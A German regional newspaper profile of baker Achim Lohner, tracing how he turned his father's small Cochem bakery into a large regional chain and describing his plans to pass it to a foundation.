Als Achim Lohner 1976 im Alter von 28 Jahren die Backstube seines Vaters übernahm, hätte niemand auf ihn gewettet. Hohe Schulden, kleine Umsätze, tägliche Arbeitszeiten von zwölf bis 15 Stunden für minimale Erträge. Doch der junge Bäcker vertraute stets auf sein Handwerk und erschuf mit einem einzigartigen unternehmerischen Mut eine der größten Bäckereien Deutschlands. Im WochenSpiegel blickt er zurück, verrät sein Erfolgsgeheimnis und spricht über seine Zukunftspläne.

Von Christian Thielen

Die Erfolgsgeschichte von Achim Lohner beginnt in einer kleinen Backstube im Herzen von Cochem. Als kleiner Junge turnt er in der Bäckerei seines Vaters Josef Lohner umher, fährt schon im Alter von sechs Jahren jeden Morgen vor der Schule mit dem Fahrrad die Brötchen des Familienbetriebes aus. »Etwas anderes als Bäcker zu werden kam mir nie in den Sinn. Ich wollte schon in jungen Jahren den Betrieb meines Vaters weiterführen.« An Mut fehlte es dem jungen Bäckerburschen dabei nie: »Ich war zirka 25 Jahre alt, mein Vater war gerade auf Kegeltour. Als er wieder kam, hatte ich einen Kredit über 25.000 DM aufgeholt, davon einen neuen Ofen, eine moderne Teigmaschine und einen Kombi zum Ausliefern gekauft.«

Achim Lohner in jungen Jahren in der Backstube in Cochem.

Achim Lohner in jungen Jahren in der Backstube in Cochem.

»Die erste Jahresbilanz war ein Desaster«

Investitionen scheute Lohner nie, auch als sein Vater plötzlich verstarb, blickte der ehemalige Fußballtorwart der SpVgg Cochem nach vorne. »Angst habe ich nicht gehabt. Ich habe stets auf mein Handwerk vertraut, wusste was ich kann und was nicht«, erklärt Lohner. Und das auch in Krisenzeiten: »Meine erste Jahresbilanz war ein Desaster, ich hatte weniger verdient als jeder Lehrling und die Schulden waren hoch. Aufgeben kam für mich nicht in Frage: Ich weiß noch genau, was ich damals dachte: ,Jetzt musst du es begreifen, etwas ändern und weiter auf deine Qualität vertrauen, sonst gehst du unter.‘«

Backen - diese Leidenschaft hatte Achim Lohner schon als kleiner Junge.

Backen – diese Leidenschaft hatte Achim Lohner schon als kleiner Junge.

»Besuche jede Filiale mehrmals im Jahr«

Dass Achim Lohner es »begriffen hatte«, ist unstrittig – er wirtschaftet die Bäckerei hoch zu einem Unternehmen, das gut zehn Jahre nach seiner Übernahme einen Umsatz von über einer Million Euro erreicht. »1985 bis 1987 waren tolle Jahre, wir sind mit der Backstube von Cochem nach Hambuch umgezogen, belieferten bereits vier Fachgeschäfte und hatten 30 Angestellte. Der Jahresumsatz ist auf über 1.800.000 DM gestiegen.« Darauf ausruhen, das Backunternehmen verkaufen und zurücklehnen? Das kam für den heute 68-Jährigen nicht in Frage. Lohner investierte weiter und das Unternehmen wuchs so rasant wie kaum ein anderes in der Region. 1995 existierten bereits 26 Fachgeschäfte, 150 Mitarbeiter lebten das »Lohners Prinzip« und die Jahresumsätze kratzten an der Zehnmillionenmarke.
Ein Jahr später mussten die Lohners ihre Produktionsstätte erneut verlegen, diesmal zum jetzigen Standort nach Polch. Was Achim Lohner so erfolgreich gemacht hat, hat er bis heute nicht vergessen: »Man darf nicht abheben und muss nüchtern darauf vertrauen, was man kann. Bis heute mache ich die Qualitätskontrolle selbst, übe das Handwerk weiter aus, kenne die Maschinen und besuche meine Mitarbeiter in jeder Filiale.«

»Ich mache weiter, solange es Spaß macht«

Ein Engagement, das ihm nicht nur Anerkennung bei seinen Mitarbeitern und Kunden bringt, sondern auch mit zahlreichen Preisen ausgezeichnet wurde. »Ich bin besonders stolz auf die kleineren Preise. Die Wappenteller der Stadt Cochem und des Kreises Mayen-Koblenz, die meine Frau und ich zusammen erhalten haben – das war etwas Besonderes.«
Apropos seine Frau – Ellen Lohner ist Achims »gute Seele«. »Hinter jedem erfolgreichen Mann steht eine starke Frau. Ellen hat so viel geleistet – sie hat einen höheren Anteil am Erfolg des Unternehmens, als ich selbst.« Treu bleiben wollen sich die Lohners übrigens weiterhin in ihrer Philosophie. »Im Alter von 68 Jahren denke ich natürlich an die Zukunft des Betriebes. Ich werde weitermachen solange ich Spaß habe.«

Achim Lohner legt heute gerne noch selber Hand an.

Achim Lohner legt heute gerne noch selber Hand an.

Expansion nach Luxemburg?

Ein Verkauf kommt für sie nicht in Frage: »Wenn der Betrieb aufgestückelt und Mitarbeiter auf einmal nur noch wie Nummern behandelt würden – das wäre mein Alptraum.« Deshalb plant Lohner den Betrieb an eine Stiftung zu übergeben und dort gemeinsam mit seiner Frau das »Lohners Prinzip« weiterzugeben. Und auch mit den Investitionen und seinen Expansionsplänen kann der 68-Jährige nicht aufhören. Gerade erst hat er in den Produktionsstandort Polch investiert, baut den Betrieb und die Verwaltung aus.
»Wir sind in Rheinland-Pfalz, Hessen und Nordrhein-Westfalen zu Hause. Vielleicht bald auch in Luxemburg«, gibt Lohner Einblicke in seine Zukunftsplanung. Dort gebe es einen sehr guten Markt für mediterrane Backwaren. Stillstand war im Jahr 1976 für Achim Lohner keine Option und ist es auch im Jahr 2016 nicht!

Die erste Filiale in Cochem: Hier begann die Lohners Geschichte.

Die erste Filiale in Cochem: Hier begann die Lohners Geschichte.

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